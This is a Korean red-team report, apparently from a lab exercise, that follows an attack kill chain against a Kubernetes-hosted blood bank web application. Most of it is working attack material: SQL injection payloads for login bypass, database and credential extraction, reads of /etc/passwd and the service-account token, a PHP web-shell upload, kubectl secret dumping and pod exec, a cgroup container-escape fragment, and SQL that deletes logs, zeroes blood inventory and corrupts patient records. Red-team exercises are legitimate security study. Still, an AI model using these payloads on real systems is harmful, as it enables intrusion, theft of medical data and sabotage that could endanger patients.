Skip to main content

작성자: 조영운

개요

  • 타겟: Blood Bank Management System (쿠버네티스 환경)
  • 조사 및 설계: Sprint 1 설계팀 정민욱
  • 재현 환경 구현: Sprint 1 Dev Team / Sprint 2 Blue Team 이택우
  • 공격자: Red Team 조영운
  • 목표: 시스템 완전 장악 및 데이터 유출

킬 체인

정찰 (Reconnaissance)

  • 수행 작업: 타겟 웹사이트 기본 구조 파악
  • 사용 도구: 브라우저를 통한 수동 정찰
  • 결과: 로그인 페이지, 회원가입 페이지, 프로필 페이지 등 확인

무기화 (Weaponization)

  • 수행 작업
    • 공격 벡터 분석

      • 웹 애플리케이션: 로그인 폼에서 SQL Injection 가능성
      • 입력 검증: 클라이언트 사이드 검증
      • 에러 처리: 상세 에러 메시지 노출
    • 페이로드 준비

      # 로그인 bypass
      test@gmail.com' or '1'='1

      # Error-based SQL Injection 페이로드
      test@gmail.com' and extractvalue(1, concat(0x3a, user())) and '1'='1

      # Union-based SQL Injection 페이로드
      test@gmail.com' union select 1,2,3,4,5,6,7 #

      # File read 페이로드
      test@gmail.com' and extractvalue(1, concat(0x3a, (select load_file('/etc/passwd')))) and '1'='1
    • 도구 및 기법 선택

      • 주 공격: Manual SQL Injection
      • 보조 도구: Burp Suite
      • 우회 기법: HTML input type 변경
  • 결과
    • 로그인 우회용(인증 우회) SQL 쿼리 작성
    • DB 정보 탈취를 위한 SQL 쿼리 작성

유포 (Delivery)

  • 공격 벡터

    • 웹 애플리케이션: HTTPS를 통한 직접 접근
    • 진입점: 로그인 페이지 (login.php , /file/receiverLogin.php )
  • 초기 접근

    // 클라이언트 사이드 검증 우회
    document.querySelector('input[name="remail"]').type='text';
    # 공격 페이로드 전달
    POST /file/receiverLogin.php
    Data: remail=test@gmail.com' and extractvalue(1, concat(0x3a, user())) and '1'='1&rpassword=test

악용 (Exploitation)

  • 수행 작업: SQL Injection 수행
    • 로그인 인증 우회

      test@gmail.com' or '1'='1
    • 시스템 정보 획득

      # 계정 정보
      test@gmail.com' and extractvalue(1, concat(0x3a, user())) and '1'='1

      # 버전 정보
      test@gmail.com' and extractvalue(1, concat(0x3a, version())) and '1'='1

      # 호스트 정보
      test@gmail.com' and extractvalue(1, concat(0x3a, @@hostname)) and '1'='1
    • 운영체제 정보 확인

      test@gmail.com' and extractvalue(1, concat(0x3a, @@version_compile_os)) and '1'='1
    • 파일 시스템 접근

      # 시스템 파일 읽기
      test@gmail.com' and extractvalue(1, concat(0x3a, substring((select load_file('/etc/passwd')), 1, 30))) and '1'='1

설치 (Installation)

  • 수행 작업: 지속성 확보 시도

    # 웹 쉘 업로드 시도
    test@gmail.com' union select '<?php system($_GET[\"c\"]); ?>', 2, 3, 4, 5, 6, 7 into outfile 'var/www/html/shell.php'#

명령 및 제어 (Command & Control)

  • 수행 작업
    • 쿠버네티스 서비스 어카운트 토큰 추출

      test@gmail.com' and extractvalue(1, concat(0x3a, substring((select load_file('/var/run/secrets/kubernetes.io/serviceaccount/token')), 1, 30))) and '1'='1
    • 네임스페이스 추출

      test@gmail.com' and extractvalue(1, concat(0x3a, (select load_file('/var/run/secrets/kubernetes.io/serviceaccount/namespace')))) and '1'='1
    • OS 정보 확인

      test@gmail.com' and extractvalue(1, concat(0x3a, substring((select load_file('/etc/os-release')), 1, 30))) and '1'='1
    • 쿠버네티스 API 접근

      # 추출한 토큰으로 API 서버 접근
      TOKEN="eyJhgIwLdiqn9Ndkgh12kPl..."
      curl -k -H "Authorization: Bearer $TOKEN" \
      https://kubernetes.default.svc.cluster.local/api/v1/namespace/simulation/pods

목표 달성 (Actions on Objectives)

  • 데이터 유출

    • DB 명 확인

      test@gmail.com' and extractvalue(1, concat(0x3a, database())) and '1'='1
    • 테이블 명 확인

      test@gmail.com' and extractvalue(1, concat(0x3a, (select table_name from information_schema.tables where table_schema=database() limit 0,1))) and '1'='1
    • 테이블 별 컬럼 명 확인

      test@gmail.com' and extractvalue(1, concat(0x3a, (select column_name from information_schema.columns where table_name='receivers' limit 1))) and '1'='1
    • 사용자 정보 추출

      # 사용자 수 확인
      test@gmail.com' and extractvalue(1, concat(0x3a, (select count(*) from receivers))) and '1'='1

      # 계정 정보 추출
      test@gmail.com' and extractvalue(1, concat(0x3a, (select concat(remail,':',rpassword) from receivers limit 1 offset 1))) and '1'='1
    • 의료 데이터 추출

      test@gmail.com' and extractvalue(1, concat(0x3a, (select group_concat(donor_info) from donors limit 5))) and '1'='1
  • 시스템 설정 정보 탈취

    • 네트워크 정보

      test@gmail.com' and extractvalue(1, concat(0x3a, (select load_file('/etc/hosts')))) and '1'='1
      test@gmail.com' and extractvalue(1, concat(0x3a, (select load_file('/etc/resolv.conf')))) and '1'='1
    • 애플리케이션 설정

      test@gmail.com' and extractvalue(1, concat(0x3a, substring((select load_file('./connection.php')), 1, 30))) and '1'='1
  • 쿠버네티스 클러스터 정보

    • 토큰으로 클러스터 정보 수집

      kubectl --token=$TOKEN get pods --all-namespaces
      kubectl --token=$TOKEN get secrets --all-namespaces
      kubectl --token=$TOKEN get configmaps --all-namespaces
  • 횡적 이동 및 권한 상승

    • 다른 Pod 공격

      kubectl --token=$TOKEN exec -it target-pod -- /bin/sh
    • 호스트 시스템 접근 시도

      mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/gcrp/x
      echo 1 > /tmp/cgrp/x/notify_on_release
  • 데이터 파괴/조작

    • 로그 삭제

      delete from access_logs where date > '2025-01-01';
    • 혈액 재고 조작

      update blood_inventory set quantity = 0 where blood_type = 'O-';
    • 환자 정보 조작

      update patients set medical_history = 'compromised' where id > 0;